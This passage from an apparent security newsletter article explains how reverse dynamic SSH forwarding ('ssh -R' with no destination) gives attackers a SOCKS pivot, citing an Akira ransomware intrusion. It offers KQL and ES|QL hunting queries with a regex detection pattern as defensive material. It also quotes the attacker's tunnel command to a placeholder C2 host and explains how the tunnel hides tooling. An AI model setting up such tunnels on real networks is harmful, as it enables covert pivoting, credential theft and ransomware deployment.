tunnel.</p><p>You&#8217;ve probably closed that alert before. A green <code>ssh.exe</code>, a <code>-R</code> you read as port forwarding, &#8220;admin activity&#8221; in the notes, and you moved on, because the process event gave you nothing to argue with. The process event always backs you up. That&#8217;s the problem.</p><p>Here is what it backed up. In a July 2025 intrusion documented by The DFIR Report, Akira&#8217;s operators turned a compromised host into a SOCKS proxy with almost exactly this command, <code>ssh root@&lt;host&gt; -R *:10400</code>. They ran a renamed scanner through it, mapped the internal estate, dumped credentials, stole data, and deployed ransomware in under 44 hours. None of it crossed the wire in plaintext. All of it rode inside an encrypted channel your EDR records as a single process: <code>ssh.exe</code>. Whatever the attacker ran next, the command line still said <code>ssh.exe</code> and nothing else.</p><p>So escalating the alert doesn&#8217;t help. You pull the process event and you still can&#8217;t prove the tunnel is a pivot. NetExec, nmap, lateral movement, all of it executes inside the tunnel, out of reach of the command line that&#8217;s supposed to tell you what ran.</p><p>The tunnel is opaque, but it isn&#8217;t silent. Whatever moves through it leaves a shape: how many destinations, how many ports, how many connections failed. That shape is usually enough to tell a forward from a sweep, and your EDR is already logging every field you need to read it.</p><p>This article is about how far that shape gets you, the exact point it stops, and what you fall back on when it does.</p><h1>1. Why SSH -R Gets Missed</h1><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tVLL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tVLL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 424w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 848w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1272w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png" width="997" height="898" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:898,&quot;width&quot;:997,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:128461,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tVLL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 424w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 848w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1272w, https://substackcdn.com/image/fetch/$s_!tVLL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe888aa68-d0b0-4a8b-83c3-132f65409e22_997x898.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Lab topology. The compromised host (DESKTOP-HR) opens a reverse SSH tunnel to the external C2, which exposes a SOCKS proxy on port 10400. The attacker drives internal connections back through the tunnel, and those connections originate from DESKTOP-HR. That origin is what puts them under </em><code>ssh.exe</code><em> in endpoint telemetry.</em></p><p>SSH has three forwarding modes, and the gap between them is the whole story:</p><ul><li><p><code>-L</code> is a local port forward with a fixed destination.</p></li><li><p><code>-R</code> is a remote port forward. It also takes a fixed destination, but if you leave the destination off, it becomes a SOCKS proxy.</p></li><li><p><code>-D</code> is a local dynamic SOCKS proxy.</p></li></ul><p>The dangerous case is <code>-R</code> with no destination after the port. That is not the port forwarding most people picture. Since OpenSSH 7.6, giving <code>-R</code> a bind and a port but no target tells SSH to open that remote port as a SOCKS 4/5 proxy. The name for this is reverse dynamic forwarding. A remote client speaks SOCKS to the port, asks for <code>host:port</code>, and SSH dials that connection for it. The dial happens from the compromised host.</p><p>Your whole detection rests on that one fact. The outbound connections come from the machine running <code>ssh.exe</code>, not from the C2 box. SOCKS is a generic relay underneath, indifferent to whether the bytes are HTTP, SMB, or RDP. It connects and it pipes.</p><p>Take the Akira command apart, <code>ssh root@&lt;host&gt; -R *:10400</code>:</p><ul><li><p><code>*</code> binds the listener to every interface on the C2 host instead of loopback only. The server&#8217;s <code>GatewayPorts</code> setting decides whether that bind is even permitted.</p></li><li><p><code>10400</code> is the port the SOCKS proxy listens on, over on the C2.</p></li></ul><p>The same <code>-R</code> SOCKS mechanism shows up in benign work and in attacks. A destination-less <code>-R</code> is not a verdict by itself. An operator can stand up this exact proxy for perfectly good reasons, and plenty do. If you walked in believing &#8220;destination-less means malicious,&#8221; Section 4 is where that breaks.</p><p>The proxy is live on the C2. So what moves through it, and why is it invisible to you?</p><div><hr></div><h1>2. This Isn&#8217;t Just Akira</h1><p>One credibility check before the detection work: this is a recurring pattern, not an Akira habit.</p><p>SSH and SOCKS tunneling for pivoting and C2 turns up across the last three years of intrusion reporting, in Akira, in BlackCat/ALPHV, and in RansomHub activity spanning 2023 to 2025. CISA has named Akira&#8217;s use of tunneling utilities for C2 that slips past the perimeter. The precise <code>ssh -R *:10400</code> reverse-dynamic-forwarding command only appears in The DFIR Report&#8217;s writeup; the rest of the corpus documents the broader behavior, including SSH tunneling, SOCKS proxying, and utilities such as Ngrok, Chisel, and Ligolo-ng.</p><p>Two MITRE ATT&amp;CK techniques describe what this <code>-R</code> setup does. The encrypted SSH channel that carries the traffic is T1572 (Protocol Tunneling). The SOCKS proxy relaying internal connections on the attacker&#8217;s behalf is T1090 (Proxy), and because the relay runs on an attacker-controlled host outside the victim network, it falls specifically under T1090.002 (External Proxy). The detection here keys on the behavior rather than on one command string, which is why it carries past any single group.</p><div><hr></div><h1>3. From Sigma Logic to MDE Hunting: the blind spot</h1><p>Start from the published Sigma rule, <em>Port Forwarding Activity Via SSH.EXE</em>. It checks that the image ends in <code>ssh.exe</code> and the command line contains <code>-R</code>. It fires correctly, and it ships with a false-positive note about legitimate admin port forwarding, because it matches on the string rather than the behavior. It has no way to tell an admin apart from an attacker.</p><p></p><p>Convert it to a process query and run it. Process creation gives you intent: <code>ssh.exe</code> launched with <code>-R</code>.</p><h2>KQL (MDE, DeviceProcessEvents)</h2><pre><code><code>DeviceProcessEvents
| where Timestamp &gt; ago(1h)
| where FileName =~ "ssh.exe"
| where ProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc</code></code></pre><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/subscribe?"><span>Subscribe now</span></a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rS2i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rS2i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 424w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 848w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1272w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png" width="1084" height="626" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:626,&quot;width&quot;:1084,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:137773,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rS2i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 424w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 848w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1272w, https://substackcdn.com/image/fetch/$s_!rS2i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14b16a5c-80f1-4934-9b2b-450ee5098363_1084x626.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Notice the filter is a regex (<code>\s-\w*R</code>) rather than <code>contains "-R"</code>. That matters because attackers tend to bundle the flag into a no-argument cluster like <code>-NR</code>, <code>-fNR</code>, or <code>-fNTR</code> to background the tunnel, and the regex still catches the <code>-R</code> inside those. It is capital-R only and case-sensitive on purpose.</p><h2>ES|QL (Elastic, Sysmon EID 1 / ECS)</h2><pre><code><code>FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hours
| WHERE event.code == "1"
| WHERE process.name == "ssh.exe"
| WHERE process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| KEEP @timestamp, host.name, process.name, process.command_line,
       process.parent.name, process.parent.command_line,
       user.name, winlog.event_data.IntegrityLevel
| SORT @timestamp ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!qFAg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!qFAg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 424w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 848w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1272w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png" width="1400" height="590" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:590,&quot;width&quot;:1400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:150866,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!qFAg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 424w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 848w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1272w, https://substackcdn.com/image/fetch/$s_!qFAg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F673fa42f-b16c-4c57-bfa3-21b463d58a67_1400x590.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Most writeups stop right here: ssh.exe plus -R, suspicious, go monitor for it.</p><p>The trouble is that the process event proves presence, not pivot. The initiating process reads <code>ssh.exe</code> for every move the attacker makes. NetExec, nmap, curl, lateral movement, none of them surface in a command line, because they run inside the encrypted tunnel.</p><p>If the process can&#8217;t prove it, the network has to.</p><div><hr></div><h1>4. Proving the Pivot in Network Telemetry</h1><p>You don&#8217;t have to see the tool. You read what it leaves behind.</p><p>While <code>ssh.exe</code> is acting as the SOCKS client, each outbound connection it opens for the proxy lands in network telemetry, tagged with <code>ssh.exe</code> as the initiating process and the compromised host as the local IP. The tunneled tool&#8217;s command line is still nowhere in sight, and that absence is exactly the problem you started with. But the traffic&#8217;s shape does show up, and the shape carries enough.</p><h2>KQL (MDE, DeviceNetworkEvents)</h2><pre><code><code>DeviceNetworkEvents
| where Timestamp &gt; ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R" 
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
    LocalIP, LocalPort, Protocol,
    InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName,
    InitiatingProcessVersionInfoProductVersion, InitiatingProcessIntegrityLevel
| order by Timestamp asc</code></code></pre><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 424w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 848w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1272w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png" width="1456" height="309" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e7692b14-01a0-4417-8a92-174684aef23f_1896x402.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:309,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:179540,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OXzZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 424w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 848w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1272w, https://substackcdn.com/image/fetch/$s_!OXzZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe7692b14-01a0-4417-8a92-174684aef23f_1896x402.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div></div></div></div></figure></div><h2>ES|QL (Elastic, Sysmon EID 3)</h2><p>Elastic puts a structural wrinkle in front of you here, and it is worth understanding rather than fighting. Sysmon spreads the evidence over two event types. EID 1 (process start) holds the <code>-R</code> command line. EID 3 (network connection) holds the destinations but carries no command line at all. On its own, neither event proves the pivot. The fix is to filter EID 3 by image and stitch it back to the start event on <code>process.entity_id</code>, the Sysmon ProcessGuid.</p><pre><code><code>// EID 3 has no CommandLine field &#8212; filter by image only, pivot via process.entity_id
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hour
| WHERE event.code == "3"
  AND process.name == "ssh.exe"
| KEEP @timestamp, host.name, destination.ip, destination.port, destination.domain,
       source.ip, source.port, network.transport,
       process.name, process.entity_id, user.name
| SORT @timestamp ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8mN5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8mN5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 424w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 848w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1272w, https://substackcdn.com/image/fetch/$s_!8mN5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F89b2dbb7-aa1d-4aef-9e70-4e196b121685_1224x641.png 1456w" sizes="auto, 100vw"><img 